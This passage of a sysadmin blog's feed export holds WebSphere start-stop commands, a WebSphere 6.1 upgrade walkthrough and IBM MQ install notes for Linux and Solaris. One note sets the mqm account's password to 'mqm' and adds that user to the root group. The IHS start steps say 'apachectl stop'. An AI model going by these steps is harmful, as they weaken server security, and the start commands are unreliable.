<p>　　对小项目仔细测量对于SOA在更广泛的范围内取得成功是非常重要的。在项目开始之前和结束之后进行标准检查对于未来SOA部署的成功也是必须的。Dortch发现，在一流的SOA用户中，60%的用户会部署SOA性能分析和报告软件，40%的用户会为SOA应用和服务建立服务质量指标。</p>
<p>　　在以业务为中心的地方放上度量手段，就能看到性能是否提高以及员工使用的服务数目的是否增加。Dortch解释说，虽然有很多公司忽略了这个明显步骤，但是，建立一个精确的性能测试却是一个显而易见的好办法。“你正在做任何一个称职的IT系统自丛诞生以来一直在干的事情：复制和调整。”</p>
<p>　　第7步：保持跟踪</p>
<p>　　对于任何业务项目，为了能从投资中获得最大的价值，时刻对它保持关注很重要。对于SOA项目来说，持续跟踪尤为重要。在企业范围内，一个完整的SOA集成可能需要几年的时间，而这带来的好处甚至可能需要更长的时间才能完全释放出来。你需要保持你任命的SOA团队时刻处于待命状态并准备迎接可能出现的挑战。Dortch建议为这个团队创建一个基于成功部署的激励结构。如果你向行政人员证明SOA正在给企业带来他们所关心的商业利益，他们也会对SOA项目保持关注。“告诉他们你在做什么，并让他们负责协调一些工作。这是一个不能跳过得步骤。” Dortch说。</p>
<p>　　SOA供应商业会根据最新出现的标准继续配置他们的产品，并开发新的并且不同的创建SOA的方法。在这个瞬息万变的领域里，企业应该时刻关注业界出现的新兴技术以保持竞争力并跟上时代发展的步伐。“SOA的未来是非常光明的，”Stockford说。“这给供应商和使用者都带来了巨大的机遇，利用SOA的集成创新技术创造竞争优势。”</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1471.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WAS IHS 日常维护启动命令 START STOP SERVER</title>
		<link>http://www.evanjiang.net.cn/archives/1469.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1469.html#comments</comments>
		<pubDate>Sun, 28 Feb 2010 01:56:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1469</guid>
		<description><![CDATA[<p>
1、服务器与操作系统：PBOSS　P595两台（操作系统AIX 5.3-07。
停服务命令：
S2QDYY主机下
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
   S1QDYY 主机下
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
            (server1的名字可能是QDYYServer1)
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p>启服务命令S1QDYY主机下
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh
S2QDYY主机下
/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>2、服务器与操作系统：网上商城　x3650两台（操作系统suse 10。
停服务命令：
esintf2主机下

#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
esintf1 主机下：
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
#/instatll/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p> 



启服务命令esintf1主机下
#/instatll/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh
esintf2主机下
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>3、服务器与操作系统：网站x3850两台（，操作系统suse 10。</p>
<p>   停服务命令：
GMCC-EAPP-2主机下
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
GMCC-EAPP-1主机下
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1
GMCC-EAPP-1主机下
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p> 



启服务命令GMCC-EAPP-1主机下，#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh
GMCC-EAPP-2主机下
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>4、两台PC server　PBOSS
分别是
停服务命令：
 PBOSS1主机下
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl stop
 PBOSS2主机下
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl stop </p>
<p>　启服务命令：
PBOSS1主机下
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl start
 PBOSS2主机下
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl start </p>
]]></description>
			<content:encoded><![CDATA[<p>
1、服务器与操作系统：PBOSS　P595两台（操作系统AIX 5.3-07。<br />
停服务命令：<br />
S2QDYY主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
   S1QDYY 主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
            (server1的名字可能是QDYYServer1)<br />
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p>启服务命令S1QDYY主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh<br />
S2QDYY主机下<br />
/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>2、服务器与操作系统：网上商城　x3650两台（操作系统suse 10。<br />
停服务命令：<br />
esintf2主机下<br />
<span id="more-1469"></span><br />
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
esintf1 主机下：<br />
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
#/instatll/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p> <script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
启服务命令esintf1主机下<br />
#/instatll/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh<br />
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh<br />
esintf2主机下<br />
#/instatll/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>3、服务器与操作系统：网站x3850两台（，操作系统suse 10。</p>
<p>   停服务命令：<br />
GMCC-EAPP-2主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
GMCC-EAPP-1主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./stopServer.sh server1<br />
GMCC-EAPP-1主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./stopManager.sh</p>
<p> <script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
启服务命令GMCC-EAPP-1主机下，#/usr/IBM/WebSphere/AppServer/Profiles/dmgr01/bin下执行./startManager.sh<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh<br />
GMCC-EAPP-2主机下<br />
#/usr/IBM/WebSphere/AppServer/Profiles/appsvr01/bin下执行./startNode.sh</p>
<p>4、两台PC server　PBOSS<br />
分别是<br />
停服务命令：<br />
 PBOSS1主机下<br />
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl stop<br />
 PBOSS2主机下<br />
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl stop </p>
<p>　启服务命令：<br />
PBOSS1主机下<br />
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl start<br />
 PBOSS2主机下<br />
#/opt/IBM/WebSphere/HTTPServer/bin下执行./apachectl stop  ./adminctl start </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1469.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to upgrade Websphere 6.1.0.9  to Websphere Appserver 6.1.0.17</title>
		<link>http://www.evanjiang.net.cn/archives/1466.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1466.html#comments</comments>
		<pubDate>Sun, 28 Feb 2010 01:53:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1466</guid>
		<description><![CDATA[<p>How to upgrade Websphere 6.1.0.9  to Websphere Appserver 6.1.0.17
Expert Comment
HonorGod:
Sure.</p>
<p>- Point your browser to the IBM WebSphere Application Server support page</p>
<p>http://www.IBM.com/software/webservers/appserv/was/support/</p>
<p>  [Bookmark this page!]
- Click on the &#8220;Download&#8221; link (in the blue box to the right of center)
- Click on the &#8220;Recommended fixes&#8221; link
- Click on the link for the version of interest [...]]]></description>
			<content:encoded><![CDATA[<p>How to upgrade Websphere 6.1.0.9  to Websphere Appserver 6.1.0.17<br />
Expert Comment<br />
HonorGod:<br />
Sure.</p>
<p>- Point your browser to the IBM WebSphere Application Server support page</p>
<p>http://www.IBM.com/software/webservers/appserv/was/support/</p>
<p>  [Bookmark this page!]<br />
- Click on the &#8220;Download&#8221; link (in the blue box to the right of center)<br />
- Click on the &#8220;Recommended fixes&#8221; link<br />
- Click on the link for the version of interest (e.g., &#8220;Version 6.1&#8243;)<br />
  This takes you to a table that has the current information about what fixpack/cumulative fix is current.</p>
<p>  I STRONGLY encourage you to install at least 6.1.0.23!<br />
Better yet, go to 6.1.0.25, and when 6.1.0.27 comes out, go to it.</p>
<p>  To actually perform the update, you are going to have to look for the line in the table that starts with &#8220;V7.0 Update Installer&#8221;.  Yes, the V 7.0 Update Installer can be used to install 6.1 and 7.0 updates.  However, to install 6.1.0.21 onward requires this installer.  If you insist on only upgrading to 6.1.0.17, let me know, and I&#8217;ll also find the right update installer program for you.</p>
<p>  Scrolling to the bottom of this table you will find a line that states:</p>
<p>For a complete listing of fixes for version 6.1, see the &#8220;Fix list for V6.1&#8243;<br />
Click on the &#8220;Fix list for V6.1&#8243; link to see just how many fixes have been shipped for version 6.1 of the product!  Hundreds!<br />
<span id="more-1466"></span><br />
  If you really, really need 6.1.0.17, let me know, and I&#8217;ll find it for you.  I&#8217;ll need to know what Operating System is being used (e.g., Aix, Linux, Windows), and whether it is 32 or 64 bit system.</p>
<p>20/06/09 07:11 AM, ID: 24673796Author Comment<br />
gak2004:<br />
Thanks for you response. Yes I am interested in only upgrading to 6.1.0.17 from 6.1.0.9<br />
I am using windows 32bit</p>
<p>20/06/09 08:31 AM, ID: 24674102Accepted Solution<br />
HonorGod:<br />
Alright.</p>
<p>Use the information from above to get to the &#8220;Recommended fixes&#8221; page,<br />
and the &#8220;Version 6.1&#8243; table.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Then click on the &#8220;Windows&#8221; link for Fix Pack 25.</p>
<p>Yes, I know what I&#8217;m doing&#8230; <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Scroll down to the &#8220;download package&#8221; table to find the line that starts with:<br />
&#8220;32-bit x86 AMD/Intel AppServer&#8221;.  </p>
<p>Hover over the &#8220;FTP&#8221; link, right click, and &#8220;copy link address&#8221; (or whatever term your browser uses for this function).</p>
<p>Paste the address into the &#8220;address&#8221; portion of your browser, but DON&#8221;T HIT ENTER.</p>
<p>Remove the end of the URL after cumulative, leaving you with this address:</p>
<p>ftp://ftp.software.ibm.com/software/websphere/appserv/support/fixpacks/was61/cumulative/</p>
<p>Now you can press enter to see which Fix Packs exist.<br />
Select the link you want (i.e., cf61017)<br />
Then click the &#8220;WinX32&#8243; link</p>
<p>Now you get to decide what needs to be updated.<br />
Certainly the AppServer code, so you are going to have to save:</p>
<p>6.1.0-WS-WAS-WinX32-FP0000017.pak<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
and the associated Java software development kit</p>
<p>6.1.0-WS-WASSDK-WinX32-FP0000017.pak</p>
<p>What web server are you using?<br />
If you are using the IBM HTTP Server (IHS), you are going to also need</p>
<p>6.1.0-WS-IHS-WinX32-FP0000017.pak</p>
<p>and you are also going to need the plugin code updated as well, so </p>
<p>6.1.0-WS-PLG-WinX32-FP0000017.pak</p>
<p>If you also use the Application Client (AppClient), you&#8217;ll also want</p>
<p>6.1.0-WS-AppClient-WinX32-FP0000017.pak</p>
<p>ok, the 6.1.0.17 update installer (UPDI) program is available from here:</p>
<p>ftp://ftp.software.ibm.com/software/websphere/appserv/support/tools/UpdateInstaller/6.1.x/WinIA32/download.updii.61017.windows.ia32.zip</p>
<p>So, the steps to use:<br />
- Retrieve the UPDI zip file<br />
- Expand (unzip) it to some temporary directory<br />
- Execute the install program<br />
  Note: This install program installs the UPDI program, not the AppServer updates.<br />
  Specify the destination directory as being a sibling directory of  AppServer.<br />
  For example, it will be under D:\IBM\WebSphere\UpdateInstaller<br />
- After the UPDI is installed, you can delete the UPDI zip file, and the temporary directory containing the expanded contents<br />
- Copy all of the *.pak files retrieved above to the maintenance subdirectory under UpdateInstaller (e.g, D:\IBM\WebSphere\UpdateInstaller\maintenance)<br />
- Stop all of the AppServer processes (don&#8217;t forget to stop the Web Server)<br />
- Execute the &#8220;update&#8221; program in the UpdateInstaller directory, and use it to<br />
  &#8212; Update the AppServer &#038; SDK<br />
  &#8212; Update the web server (if you are using IHS)<br />
  &#8212; Update the plugin<br />
  &#8230; and any/all other components that you need to update.</p>
<p>Does this help?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1466.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install MQ on Redhat Linux</title>
		<link>http://www.evanjiang.net.cn/archives/1461.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1461.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 09:14:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1461</guid>
		<description><![CDATA[<p>To install MQ on RedHat  Linux please note following:
1.        Create group/user need from Control Center
a)        Log in as root. Create MQ groups and users from the yast2 Control Center.
1.        Log in as root. [...]]]></description>
			<content:encoded><![CDATA[<p>To install MQ on RedHat  Linux please note following:<br />
1.        Create group/user need from Control Center<br />
a)        Log in as root. Create MQ groups and users from the yast2 Control Center.<br />
1.        Log in as root. Create MQ groups and users from the yast2 Control Center.<br />
  a. Create the mqm and mqbrkrs user groups:<br />
1) Click Security &#038; Users > Groups > Add a Group.<br />
2) Set the name field to mqm and create the user group.<br />
3) Create the mqbrkrs user group in the same way.</p>
<p>b. Create the mqm user:<br />
1) Click Security &#038; Users > Users > Add a User.<br />
2) Set the name field to mqm and create the user.<br />
3) Click Security &#038; Users > Change a Users Password > Passwords to add a password to the new user </p>
<p>c.Add the mqm and root users to the mqm group:<br />
1) Click Security &#038;Users > Users > Change / Show Characteristics of a User.<br />
2) Enter mqm in the User Name field. 50 IBM WebSphere Application Server: Getting Started<br />
3) Add mqm to the Group SET field, which is a comma-separated list of the groups to which the user belongs.<br />
4) Add root to the mqm group and the mqbrkrs group.<br />
Or Use Script:<br />
linux:~ # groupadd mqm<br />
linux:~ # groupadd mqbrkrs<br />
linux:~ # useradd -g mqm -G mqbrkrs -m mqm<br />
linux:~ # usermod -G mqm root<br />
Adding user root to group mqm<br />
linux:~ # gpasswd -a root mqbrkrs<br />
Adding user root to group mqbrkrs<br />
linux:~ # passwd mqm<br />
Changing password for mqm.<br />
New password:<br />
Re-enter new password:<br />
Password changed<br />
<span id="more-1461"></span><br />
linux:~ #<br />
b)        Copy&#038;mount CD17 to your target linux.Go to folder: CD17\WSMQ5302_LINUX\MQ5302<br />
c)        Run the mqlicense.sh script. If you want to view a text-only version of license, which can be read by a screen-reader, type:<br />
./mqlicense.sh -text_only<br />
The license is displayed.<br />
If want to accept the license without it being displayed, you can run the mqlicense.sh script with the -accept option.<br />
./mqlicense.sh -accept<br />
You must accept the license agreement before you can proceed with the installation.<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
NOTE: If you see below error message -><br />
Problem<br />
You install WebSphere- MQ v5.3 on Linux-. You run the &#8220;./mqlicense.sh -accept&#8221; command to accept the license and receive the following error:<br />
./mqlicense.sh: line 131: 18670 Segmentation fault<br />
${JRE?} -cp<br />
${LAPCLASSPATH?} com.ibm.lex.lapapp.LAP -l<br />
${PROGPATH?}/lap/licenses -s /tmp/mq_license<br />
${STATUSARG}<br />
${DISPLAYARG}<br />
ERROR: Installation will not succeed unless the license agreement can be accepted. If the error was caused by a display problem, read the         license agreement file in the &#8216;License&#8217; directory, and then run the following command:<br />
mqlicense.sh -accept<br />
Only use this command if you accept the license agreement. For other errors, contact your IBM support center.</p>
<p>You need to run below steps firstly -><br />
#1. Read the license agreement in the License directory<br />
#2. export LD_ASSUME_KERNEL=2.4.19<br />
#3. mkdir -p /tmp/mq_license/license<br />
#4. echo 9 > /tmp/mq_license/license/status.dat<br />
                or<br />
   touch /tmp/mq_license/license/status.dat<br />
d)        There the following rpm files: (You can only install the rpms in blue)<br />
MQSeriesRuntime-5.3.0-2.i386.rpm<br />
MQSeriesSDK-5.3.0-2.i386.rpm<br />
MQSeriesServer-5.3.0-2.i386.rpm<br />
MQSeriesJava-5.3.0-2.i386.rpm<br />
MQSeriesMan-5.3.0-2.i386.rpm<br />
MQSeriesSamples-5.3.0-2.i386.rpm<br />
MQSeriesClient-5.3.0-2.i386.rpm<br />
MQSeriseIES30&#8230;..rpm<br />
MQSeriseConfig&#8230;.rpm    (If you want to use MQ explorer on Linux, install these two RPM)</p>
<p>MQSeriesKeyMan-5.3.0-2.i386.rpm<br />
MQSeriesMsg_Zh_CN-5.3.0-2.i386.rpm<br />
MQSeriesMsg_Zh_TW-5.3.0-2.i386.rpm<br />
MQSeriesMsg_de-5.3.0-2.i386.rpm<br />
MQSeriesMsg_es-5.3.0-2.i386.rpm<br />
MQSeriesMsg_fr-5.3.0-2.i386.rpm<br />
MQSeriesMsg_it-5.3.0-2.i386.rpm<br />
MQSeriesMsg_ja-5.3.0-2.i386.rpm<br />
MQSeriesMsg_ko-5.3.0-2.i386.rpm<br />
MQSeriesMsg_pt-5.3.0-2.i386.rpm<br />
gsk6bas-6.0-3.33.i386.rpm<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
by command: rpm -ivh ***.rpm<br />
e)        Go to folder:\WSMQ5302_LINUX\MQ_CSD08<br />
f)        There the following rpm files: (You can only install the rpms in blue)<br />
MQSeriesRuntime-U497537-5.3.0-8.i386.rpm<br />
MQSeriesSDK-U497537-5.3.0-8.i386.rpm<br />
MQSeriesServer-U497537-5.3.0-8.i386.rpm<br />
MQSeriesJava-U497537-5.3.0-8.i386.rpm<br />
MQSeriesMan-U497537-5.3.0-8.i386.rpm<br />
MQSeriesClient-U497537-5.3.0-8.i386.rpm<br />
MQSeriesSamples-U497537-5.3.0-8.i386.rpm<br />
MQSeriseConfig&#8230;.rpm<br />
MQSeriseIES30&#8230;..rpm   (If you want to use MQ explorer on Linux, install these two RPM)</p>
<p>MQSeriesKeyMan-U497537-5.3.0-8.i386.rpm<br />
MQSeriesTXClient-U497537-5.3.0-8.i386.rpm<br />
MQSeriesFTA-U497537-5.3.0-8.i386.rpm<br />
gsk6bas-6.0-5.41.i386.rpm<br />
g)        Uninstall MQSeries<br />
In the MQSeries for Linux Quick Beginnings Book, it describes to uninstall all of the MQSeries files at once<br />
using the command:<br />
rpm -q -a | grep &#8220;MQSeries&#8221; | xargs rpm -e<br />
however, if a Queue Manager is running when you issue this command then only part of MQSeries will be uninstalled.<br />
From that point onwards you will be unable to stop any remaining Q-Managers or uninstall the remaining components.<br />
YOU MUST ENSURE THAT YOU STOP ALL RUNNING QUEUE MANAGERS BEFORE ATTEMPTING TO USE THIS COMMAND(stop WAS).<br />
If you do run this command, while a queue manager is running, then you will need to either reboot your machine or<br />
re-install the removed parts of MQSeries to allow you to stop the Queue Manager before you can fully complete the uninstallation.<br />
NOTE:<br />
There may some errors in the uninstall processing when you installed MQSeries patches, you can use command &#8216;<br />
rpm -q -a | grep &#8220;MQSeries&#8221;&#8216; to check which rpm pack still in the system and use command &#8216;rpm -e
<pack name>&#8216; to uninstall them from high level to low.<br />
If install fail, use rpm -ivh xxx.rpm &#8211;replacefiles to install again</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1461.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sun v490 服务器solaris10 安装mq 记录</title>
		<link>http://www.evanjiang.net.cn/archives/1459.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1459.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 07:34:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>
		<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1459</guid>
		<description><![CDATA[<p>一、安装过程
1、某天下午对SUN的1个服务器v490进行安装
2、安装完成后用MQM的自测命令检查，确认OK</p>
<p>二、WAS原始安装文件所在目录
/bak/mqm_install</p>
<p>三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下
四、安装过程如下：
　　（1）SUN下
     a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组
       groupadd mqm
       useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm
       passwd mqm
       -input mqm,mqm
     b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包
    [...]]]></description>
			<content:encoded><![CDATA[<p>一、安装过程<br />
1、某天下午对SUN的1个服务器v490进行安装<br />
2、安装完成后用MQM的自测命令检查，确认OK</p>
<p>二、WAS原始安装文件所在目录<br />
/bak/mqm_install</p>
<p>三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下<br />
四、安装过程如下：<br />
　　（1）SUN下<br />
     a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组<br />
       groupadd mqm<br />
       useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm<br />
       passwd mqm<br />
       -input mqm,mqm<br />
     b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包<br />
       mkdir mqm_ins<br />
       cd mqm_ins<br />
        &#8212;ftp tar file<br />
       tar xvf *<br />
     c.回到mqm目录，修改profile文件参数<br />
       cd ..<br />
       vi .profile<br />
       把整理好的profile参数放入其中&#8230;文件为&#8221;profile-待放入系统配置&#8221;<br />
     d.去到/etc/目录下，修改system文件，按用户要求修改内核参数，参考文件“etc-system-待放入系统配置”<br />
　　　　放入后保存。<br />
　　 e.回到mqm_ins目录下执行安装<br />
       先执行认证<br />
       ./mqlicense.sh，输入1接受协议，然后回车继续安装<br />
       提示完成后，再执行<br />
       pkgadd -d .<br />
     　执行安装过程，每一步按默认参数选择ALL或回车，安装所有组件包，最后提示MQM安装完成。</p>
<p><span id="more-1459"></span><br />
五、验证安装<br />
    1、mqm用户登录<br />
       创建队列venus.queue.manager<br />
       crtmqm -q venus.queue.manager<br />
       启动队列管理器<br />
　　　 strmqm<br />
       启用MQSC命令<br />
       runmqsc<br />
       进入环境后，定义名为ORANGE.QUEUE的本地队列<br />
       define qlocal (orange.queue)<br />
       end  (停止MQSC)<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　　　现在，已定义下列各项：名为venus.queue.manager的缺省队列管理器，名为ORANGE.QUEUE的队列</p>
<p>        转到/opt/mqm/samp/bin目录下，使用amqsput样本程序来将消息放入队列，以且使用amqsget样本程序来从队列取回消息<br />
        dspmq  命令可显示MQM队列状态<br />
        ./amqsput ORANGE.QUEUE<br />
        输入一行文字，然后以空行结束，退出<br />
　　　　./amqsget ORANGE.QUEUE<br />
        可显示刚才放入队列的消息，成功提示即证明完成。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
       </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1459.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun Fire™ V490 RSC配置说明 (参考网上文章）</title>
		<link>http://www.evanjiang.net.cn/archives/1457.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1457.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 07:30:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1457</guid>
		<description><![CDATA[<p>与V240不同的是，Sun Fire™ V480, V880, V490, and V890 SC使用的不是ALOM而是RSC，RSC的配置可以在正常状态#下完成，并不需要借助console口！rsc</p>
<p>的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到</p>
<p>，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：</p>
<p>http://www.sun.com/servers/rsc.html</p>
<p>在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip</p>
<p>该软件安装步骤如下：</p>
<p>先准备软件包，然后解压缩，</p>
<p># unzip rsc2.2.3_packages_s8.zip</p>
<p>解压缩后出现很多的软件包，如下：</p>
<p>README SUNWfrscd SUNWkrscd</p>
<p>README-RSC SUNWfrscj SUNWkrscj</p>
<p>SUNWcrsc SUNWhrsc SUNWrsc</p>
<p>SUNWcrscd SUNWhrscd SUNWrscd</p>
<p>SUNWcrscj SUNWhrscj SUNWrscj</p>
<p>SUNWdersc SUNWirscd SUNWsrscd

SUNWdrscd SUNWirscj SUNWsrscj</p>
<p>SUNWdrscj SUNWitrsc SUNWsvrsc</p>
<p>SUNWerscd SUNWjersc en_us_relnotes.pdf</p>
<p>SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip</p>
<p>SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip</p>
<p>SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是
SUNWcrsc SUNWcrscd SUNWcrscj </p>
<p>英文的软件包是：
SUNWrsc SUNWrscd SUNWrscj</p>
<p>除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：</p>
<p>README SUNWcrscj en_us_relnotes.pdf</p>
<p>README-RSC SUNWrsc rsc2.2.3_packages_s8.zip








SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip</p>
<p>SUNWcrscd SUNWrscj</p>
<p>然后安装这些软件包。</p>
<p># pkgadd [...]]]></description>
			<content:encoded><![CDATA[<p>与V240不同的是，Sun Fire™ V480, V880, V490, and V890 SC使用的不是ALOM而是RSC，RSC的配置可以在正常状态#下完成，并不需要借助console口！rsc</p>
<p>的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到</p>
